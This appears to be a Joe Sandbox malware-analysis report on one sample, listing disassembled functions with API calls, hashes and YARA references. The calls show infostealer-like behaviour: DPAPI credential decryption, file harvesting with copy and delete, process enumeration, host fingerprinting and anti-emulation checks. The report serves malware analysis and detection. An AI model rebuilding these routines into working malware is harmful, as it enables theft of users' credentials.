Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleInternetLastLogicalMemoryModuleNextNotificationPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 1035121393-2211245587
Opcode ID: 3c59b7a1cc1d8387b5f554893b9bb708da2324a4d916aa86f340070702529dc4
Instruction ID: c29c4d19e1a1d8256a8b8cfc17993bd3f91cdea4a247a897ffed86f061f16859
Opcode Fuzzy Hash: 3c59b7a1cc1d8387b5f554893b9bb708da2324a4d916aa86f340070702529dc4
Instruction Fuzzy Hash: 9372B076D10118AACB15FB91EC91EDEB73DAF14308F51439FB01662491EF346B89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00411350 Relevance: 6.1, APIs: 4, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411378

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

strtok_s.MSVCRT ref: 0041146F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F31618,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 003e7c9403f3e9da4d7a631ed3f2c92ac38d95cdfae42761bb25d9304cdb67d5
Instruction ID: bc44fb65e395c18893d79e2daadfc8d7f4384440e0cba23ba4018ddaa6f79c9f
Opcode Fuzzy Hash: 003e7c9403f3e9da4d7a631ed3f2c92ac38d95cdfae42761bb25d9304cdb67d5
Instruction Fuzzy Hash: 04417175D00208DBCB04EFE5D855AEEBB75BF48304F00811EE51177290EB38AA85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,02F34AA0), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

, xrefs: 004097A3
DPAPI, xrefs: 0040976B

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2647593125-1819349886
Opcode ID: 3bfa22f846cc73998b664930ced59f4c787c97a9c18d2ed6cde374bae568f2e6
Instruction ID: 25d6f3248392bfa9bca68fd769027b68fff5740b7e0b7820d89104a1b18a6e16
Opcode Fuzzy Hash: 3bfa22f846cc73998b664930ced59f4c787c97a9c18d2ed6cde374bae568f2e6
Instruction Fuzzy Hash: 493141B6D10108EBCF04DF94DC45AEFB7B9AF48704F14452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E30

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 2d024e9cf859bcdb7b6f1aafd390d75f344f8120054d1360ed0d142b671a3a41
Instruction ID: b51d58226d22fc07b4aaea4bdcaba1b12d12dab42e387443cd86e66b2ce9f1c4
Opcode Fuzzy Hash: 2d024e9cf859bcdb7b6f1aafd390d75f344f8120054d1360ed0d142b671a3a41
Instruction Fuzzy Hash: ED211D759002189BCB24EB61DC95FDEB779AF54304F1041DAA50A66190DF38AFC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004159E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159FC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A19
CloseHandle.KERNEL32(000000FF), ref: 00415A27

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction ID: adbcd47bb22ca6d6b42933acd4cabc8e10c5a14c322029dfd4b487fe3fd33794
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: C9F03139F44604FBDB20DBF0DC85BDE7779BF44710F118255B951A7280DA7496428B44

Uniqueness

Uniqueness Score: -1.00%

Function 004137B3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02F31618,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,02F31618,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction ID: 00ad45554361a1bf9ffb836df5d455c5d00fe00f471bf70531fad30136aebd8c
Opcode Fuzzy Hash: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction Fuzzy Hash: 5FF054B0944206AAE720AFA1DD05BFE7675BB08B46F10851AF612951C0DBB856818A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 00406884, 0040684E, 004067C2, 0040689F, 0040679E

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3e1b1374d11ee30af11b8018be346ecc1401931fa3badc01db0dac5c56ce0c6a
Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 756105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: e22cb7f9be49aca9acb977ab44021d6309137f48eb06decc206e5c3bb999cc6e
Instruction ID: 4ed07355fbd84ea2b0e25782c0c6f45789bb77a73037a8222357df496ca5bcbd
Opcode Fuzzy Hash: e22cb7f9be49aca9acb977ab44021d6309137f48eb06decc206e5c3bb999cc6e
Instruction Fuzzy Hash: 52216DB1D00208ABDF10EFA5E845BDD7B74AB44324F008229FA25B72C0EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02F314E8), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,02F31408), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,02F31568), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 1e6212c20b904c61340806b9da62228aecead5e87a7557e14d68edcc055811a1
Instruction ID: 4355cab003f180362ea4467312be264c8b2230b95154913c46dc9b5fce20c885
Opcode Fuzzy Hash: 1e6212c20b904c61340806b9da62228aecead5e87a7557e14d68edcc055811a1
Instruction Fuzzy Hash: 8D719871B002099BCF08FF75D9929EEB77AAF94304B10852EF4099B285EA34DE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02F314E8), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,02F31408), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,02F31568), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a3dfbb086a35d0d02faa03b95fa548ac8dfd98af677ca89829123187ad729d8a
Instruction ID: f0c51ec5e8e6f52f2f367cc82315d09f99f950b48122d5325302ee48485a66a2
Opcode Fuzzy Hash: a3dfbb086a35d0d02faa03b95fa548ac8dfd98af677ca89829123187ad729d8a
Instruction Fuzzy Hash: 03618A71B002099FCF08EF75D9929EEB77AAF94304B10852EF4099B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004127E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 0041281A
lstrcat.KERNEL32(?,02F352C8), ref: 00412838

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041260A
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D4B2), ref: 0041261C
Part of subcall function 00412570: wsprintfA.USER32 ref: 00412639
Part of subcall function 00412570: PathMatchSpecA.SHLWAPI(?,?), ref: 0041266F
Part of subcall function 00412570: lstrcat.KERNEL32(?,02F31398), ref: 0041269B
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D880), ref: 004126AD
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126BE
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D884), ref: 004126D0
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126E4
Part of subcall function 00412570: CopyFileA.KERNEL32(?,?,00000001), ref: 004126FA
Part of subcall function 00412570: DeleteFileA.KERNEL32(?), ref: 00412779

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041265B

Strings

00A, xrefs: 0041285C, 0041288B, 004128BB, 004128EA, 0041291A, 00412949, 0041296B, 0041285F, 0041288E, 004128BE, 004128ED, 0041291D, 0041294C

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00A
API String ID: 2104210347-95910775
Opcode ID: 60eea3e29d2f17711260459c8e24f8359275b8130032a13db43b61dade3d77dc
Instruction ID: 9a839e9be304faf39bc4facc08b08f26c4420ed68fa3aa933a56f5c5bfc0aac5
Opcode Fuzzy Hash: 60eea3e29d2f17711260459c8e24f8359275b8130032a13db43b61dade3d77dc
Instruction Fuzzy Hash: 6441ABB7A001047BCB24FBE0DC92EEA377E9B94705F00424DB55987191ED74A7D48BD9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CCE3095

Part of subcall function 6CCE35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CD6F688,00001000), ref: 6CCE35D5
Part of subcall function 6CCE35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CCE35E0
Part of subcall function 6CCE35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CCE35FD
Part of subcall function 6CCE35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CCE363F
Part of subcall function 6CCE35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CCE369F
Part of subcall function 6CCE35A0: __aulldiv.LIBCMT ref: 6CCE36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCE309F

Part of subcall function 6CD05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CD056EE,?,00000001), ref: 6CD05B85
Part of subcall function 6CD05B50: EnterCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05B90
Part of subcall function 6CD05B50: LeaveCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05BD8
Part of subcall function 6CD05B50: GetTickCount64.KERNEL32 ref: 6CD05BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CCE30BE

Part of subcall function 6CCE30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CCE3127
Part of subcall function 6CCE30F0: __aulldiv.LIBCMT ref: 6CCE3140

Part of subcall function 6CD1AB2A: __onexit.LIBCMT ref: 6CD1AB30

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7e401f268c96713757caaa407d3f24765f14c8a65ce80989bd1fed972e4b6357
Instruction ID: 1890d29add24ca604282e01c0f3ae90e3a9880bb79cb50fac2d1ee07d954bc39
Opcode Fuzzy Hash: 7e401f268c96713757caaa407d3f24765f14c8a65ce80989bd1fed972e4b6357
Instruction Fuzzy Hash: D6F0D612E24B8496EA10DFB598413B6B378AF6B214F106719E94457671FB3062D8C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 00415B70 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
CloseHandle.KERNEL32(00000000), ref: 00415BAF

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction ID: b12b055c0fde6327b7bfc42128d307bcca402a5100f46dd347d8d84938e244fe
Opcode Fuzzy Hash: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction Fuzzy Hash: C5F05475A0010CFBDB14DFA4DC4AFED7778BB08300F004499BA0597280D6B06E85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414400 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
HeapAlloc.KERNEL32(00000000), ref: 00414414
GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2ac30a00ccf60c4f43266989ac8565747831d88261cb92d9c694311de33eed43
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: F1E0D8B0A00608FBCB20DFE4DD48BDD77BCAB04305F100055FA05D3240D7749A458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 004119B0 Relevance: 3.1, APIs: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004119C8

Part of subcall function 00411650: wsprintfA.USER32 ref: 00411669
Part of subcall function 00411650: FindFirstFileA.KERNEL32(?,?), ref: 00411680

strtok_s.MSVCRT ref: 00411A4D

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
